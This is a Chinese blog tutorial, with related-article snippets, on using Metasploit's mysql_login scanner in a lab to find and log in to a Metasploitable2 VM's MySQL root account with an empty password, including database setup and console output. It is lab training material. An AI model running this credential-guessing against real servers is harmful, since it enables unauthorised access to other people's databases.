代码编织梦想

实验环境

Linux kali 5.18.0-kali5-amd64

  • kali嘛,到这里的都知道啦

Linux metasploitable 2.6.24-16-server

  • metasploitable 是用于评估 metasploit 的靶机,是一个 Ubuntu-Linux 虚拟机,用于测试常见漏洞。

实验步骤

1、启动kail数据库

在kali中metasploit默认使用postgresql作为它的数据库

  • 首先使用如下方式启动
启动数据库
方式1:
┌──(root㉿kali)-[~]
└─# systemctl start postgresql

方式2:
┌──(root㉿kali)-[~]
└─# /etc/init.d/postgresql start

方式3:
┌──(root㉿kali)-[~]
└─# service postgresql start

查看数据库启动状态
┌──(root㉿kali)-[~]
└─# systemctl status postgresql

开机自启数据库
┌──(root㉿kali)-[~]
└─# systemctl enable postgresql

2、初始化MSF数据库

  • 若没有初始化,则creds会出现错误
msf6 auxiliary(scanner/mysql/mysql_login) > run

[+] 192.168.xxx.xxx:3306  - 192.168.xxx.xxx:3306 - Found remote MySQL version 5.0.51a
[!] 192.168.xxx.xxx:3306  - No active DB -- Credential data will not be saved!
[+] 192.168.xxx.xxx:3306  - 192.168.xxx.xxx:3306 - Success: 'root:'
[*] 192.168.xxx.xxx:3306  - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

无活动数据库,凭证将不会被保存。查看主机信息和凭证信息,数据库未连接

[!] 192.168.xxx.xxx:3306  - No active DB -- Credential data will not be saved!

在使用creds,hosts查看时会出现报错 数据库未连接

msf6 auxiliary(scanner/mysql/mysql_login) > creds
[-] Database not connected
msf6 auxiliary(scanner/mysql/mysql_login) > hosts
[-] Database not connected
[-] Database not connected

(1)初始化

  • 进入msf
┌──(root㉿kali)-[~]
└─# msfconsole
msf6 auxiliary(scanner/mysql/mysql_login) > db_status

结果如下:
[*] postgresql selected, no connection

msf6 auxiliary(scanner/mysql/mysql_login) > msfdb init

结果如下:
[*] exec: msfdb init

[i] Database already started
[+] Creating database user ‘msf’
为新角色输入的口令:
再输入一遍:
[+] Creating databases ‘msf’
[+] Creating databases ‘msf_test’
[+] Creating configuration file ‘/usr/share/metasploit-framework/config/database.yml’
[+] Creating initial database schema

  • 如果已经初始化过,就输入
msfdb reinit

可以看到生成配置文件
/usr/share/metasploit-framework/config/database.yml

在这里插入图片描述

可以另起窗口,进入数据库

┌──(root㉿kali)-[~]
└─# sudo -u postgres psql
psql (14.4 (Debian 14.4-1+b1))
输入 "help" 来获取帮助信息.

postgres=# \du
                             角色列表
 角色名称 |                    属性                    | 成员属于
----------+--------------------------------------------+----------
 msf      |                                            | {}
 postgres | 超级用户, 建立角色, 建立 DB, 复制, 绕过RLS | {}

postgres=# \l
                                     数据库列表
   名称    |  拥有者  | 字元编码 |  校对规则   |    Ctype    |       存取权限
-----------+----------+----------+-------------+-------------+-----------------------
 msf       | msf      | UTF8     | zh_CN.UTF-8 | zh_CN.UTF-8 |
 msf_test  | msf      | UTF8     | zh_CN.UTF-8 | zh_CN.UTF-8 |
 postgres  | postgres | UTF8     | zh_CN.UTF-8 | zh_CN.UTF-8 |
 template0 | postgres | UTF8     | zh_CN.UTF-8 | zh_CN.UTF-8 | =c/postgres          +
           |          |          |             |             | postgres=CTc/postgres
 template1 | postgres | UTF8     | zh_CN.UTF-8 | zh_CN.UTF-8 | =c/postgres          +
           |          |          |             |             | postgres=CTc/postgres
(5 行记录)

  • 回到msf,查看链接状态,如果还是未连接,退出msf,重新进入即可
msf6 > db_status
[*] Connected to msf. Connection type: postgresql.

完成初始化!

(2)kali 进入 msf ,利用模块进行扫描

  • 搜索mysql_login模块
msf6 > search mysql_login

Matching Modules
================

   #  Name                                 Disclosure Date  Rank    Check  Description
   -  ----                                 ---------------  ----    -----  -----------
   0  auxiliary/scanner/mysql/mysql_login                   normal  No     MySQL Login Utility


Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/mysql/mysql_login

msf6 > use auxiliary/scanner/mysql/mysql_login
msf6 auxiliary(scanner/mysql/mysql_login) >

  • 配置扫描数据
set rhosts 目标主机IP

set username root    #我们配置要爆破的用户

set blank_passwords true    #开启为所有用户尝试空密码 

show options #查看配置信息
  • 运行run或者exploit
msf6 auxiliary(scanner/mysql/mysql_login) > run

[+] 192.168.149.130:3306  - 192.168.149.130:3306 - Found remote MySQL version 5.0.51a
[+] 192.168.149.130:3306  - 192.168.149.130:3306 - Success: 'root:'
[*] 192.168.149.130:3306  - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

搜索完成

  • 使用数据库进入命令,不指定密码,输入密码时回车进入
msf6 auxiliary(scanner/mysql/mysql_login) > mysql -h 192.168.149.130 -p
[*] exec: mysql -h 192.168.149.130 -p

Enter password:
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 21
Server version: 5.0.51a-3ubuntu5 (Ubuntu)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]>show databases;

总结

哈哈哈哈,睡觉咯

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/weixin_42861453/article/details/127002779

metasploit靶机漏洞实践检验_birldlee的博客-爱代码爱编程

目的 了解Metasploit渗透测试工具的使用,掌握metasploit靶机上的各种漏洞详细信息以及攻击方法。 内容简介 使用Metasploit渗透测试软件对Metasploitable靶机系统主机进行攻击,检验各种常见靶机漏洞的情况。 Metasploitable: Metasploitable2 虚拟系统是一个特

metasploitable2 靶机漏洞(上)_fly_鹏程万里的博客-爱代码爱编程_metasploitable2 漏洞

此次演示环境 1、靶机: Metasploitable2-Linux                    IP:192.168.160.131 2、攻击演示系统 Kali Linux 1.0.9 一、弱密码漏洞(Weak Password) 安全组织索引 CVE: OSVDB: BID: 原理: 系统或者数据库的登录用户

Metasploit -- 攻击Metasploitable2靶机-爱代码爱编程

为什么年轻时都会颓废堕落一段时间,因为现实否定了我们内心的世界观。。。 ---- 网易云热评 一、Metasploitable2简介 Metasploitable2虚拟系统是一个特别制作的ubuntu操作系统,本身设计目的是作为安全工具测试和演示常见漏洞攻击的环境。其中最重要的是可以用来作为MSF攻击用的靶机。 开放了很多的高危端口如21、23、4

服务器可以做为靶机吗_Metasploit -- 攻击Metasploitable2靶机-爱代码爱编程

为什么年轻时都会颓废堕落一段时间,因为现实否定了我们内心的世界观。。。 ---- 网易云热评 一、Metasploitable2简介 Metasploitable2虚拟系统是一个特别制作的ubuntu操作系统,本身设计目的是作为安全工具测试和演示常见漏洞攻击的环境。其中最重要的是可以用来作为MSF攻击用的靶机。 开放了很多的高危端口如21、23

使用msf 扫描靶机上的mysql服务的空密码-爱代码爱编程

使用msf 扫描靶机上的mysql服务的空密码 文章目录 使用msf 扫描靶机上的mysql服务的空密码一、实验拓扑二、尝试破解MySQL的空密码三、将扫描的记过导出 Metasploit 与导入另一台机器的 Metasploit 中3.1 将前面扫描的MySQL数据库空密码信息导出 实验环境 kali Linux 2019.1aMetas

Metasploit辅助模块服务扫描-爱代码爱编程

目录 portscan端口扫描 Nmap端口扫描 SMB系统版本扫描 SMB枚举 SMB弱口令扫描 SSH登录测试 Mysql枚举 Mysql语句执行 Mysql弱口令扫描 SMTP版本扫描​ SMTP枚举 Telnet登录 VNC空口令扫描 portscan端口扫描 Nmap端口扫描 SMB系统版本扫描

kali Linux-网络安全实战-使用msf扫描靶机上mysql服务的空密码-爱代码爱编程

实战-使用msf扫描靶机上mysql服务的空密码 我们启动一台Metasploitable2-Linux靶机网络模式为桥接IP:192.168.1.180 登录Metasploitable2-Linux系统用户名root,密码:123456 输入ip a 查看ip地址 登录Kali开始搜索模块 msf6> search mysql_login

Metasploit渗透测试(框架介绍、靶机安装、基本使用方法)-爱代码爱编程

1.metasploit介绍 Metasploit framework,简称msf。 Metasploit是一个渗透测试平台,能够查找,利用和验证漏洞。 Metasploit是一个免费的、可下载的框架,通过它可以很容易的对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。 Metasploit的设计初衷是打造一个攻击工具

实战-msf扫描靶机上mysql服务空密码-爱代码爱编程

靶机的安装我们在上面的文章里讲解过了。 操作流程: kali系统的IP是192.168.0.109。启动一台Metasploitable2-Linux靶机,网络模式设置为桥接。 登录Metasploitable2-Linux系统用户名root,密码:root 查看靶机的ip 因为要查找的是mysql的空密码,涉及到登陆问题。我们可以去查找

实战篇01 - 使用 Linux-msf 扫描 metasploitable2 靶机上MySQL服务的空密码-爱代码爱编程

系列文章目录 实战篇 - 使用 Linux-msf 扫描 metasploitable2 靶机上MySQL服务的空密码 目录会持续更新!!! 文章目录 系列文章目录前言一、实验环境二、实验步骤 1.kali 启动数据库进入 msf 搜索模块2.加载模块,配置并设置参数3.配置完成后执行 run 或者 exploit4.使用后

网络安全kali渗透学习 web渗透入门 使用msf扫描靶机上mysql服务的空密码-爱代码爱编程

实战-使用msf扫描靶机上mysql服务的空密码 我们启动一台Metasploitable2-Linux靶机网络模式为桥接IP:192.168.1.180 登录Metasploitable2-Linux系统用户名root,密码:123456 输入ip a 查看ip地址 登录Kali开始搜索模块 msf6> search mysql_login

看完这篇 教你玩转渗透测试靶机——Metasploitable2-爱代码爱编程

Metasploitable2渗透测试详解 Metasploitable2靶机介绍:Metasploitable2靶机下载:Metasploitable2靶机安装:Metasploitable2靶机漏洞详解:Metasploitable2靶机渗透总结:Metasploitable2靶机介绍: Metasploitable2 虚拟系统是一个特别制

渗透工具之Kali MSF(metasploit framework)使用-爱代码爱编程

初识MSF(渗透测试开源软件平台,一个漏洞利用框架,对计算机软件漏洞进行攻击) Kali查找MSF框架:cd /usr/share/metasploit-framework,进入windows攻击模块:cd /usr/share/metasploit-framework/modules/exploits/windows学习路线:MSF了解------

使用 Metasploit 利用 MySQL 默认空密码或弱密码漏洞 (CVE-2002-1809, CNNVD-200212-263, CVE-1999-0502)-爱代码爱编程

使用 Metasploit 利用 MySQL 默认空密码或弱密码漏洞 (CVE-2002-1809, CNNVD-200212-263, CVE-1999-0502) 警告 请勿将本文提到的任何技术用于非法用途。 请遵守《中华人民共和国刑法》《中华人民共和国网络安全法》《中华人民共和国治安管理处罚法》和/或当地其他相关法律法规。 本文作者在进行

网络安全kali渗透学习 web渗透入门 Metasploit渗透测试框架介绍-Metasploitable2-Linux 靶机系统介绍-爱代码爱编程

Metasploit 简介 Metasploit是一个渗透测试平台,使您能够查找,利用和验证漏洞。该平台包括Metasploit框架及其商业对手,如Metasploit Pro。 Metasploit是一个免费的、可下载的框架,通过它可以很容易对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。当H.D. Moo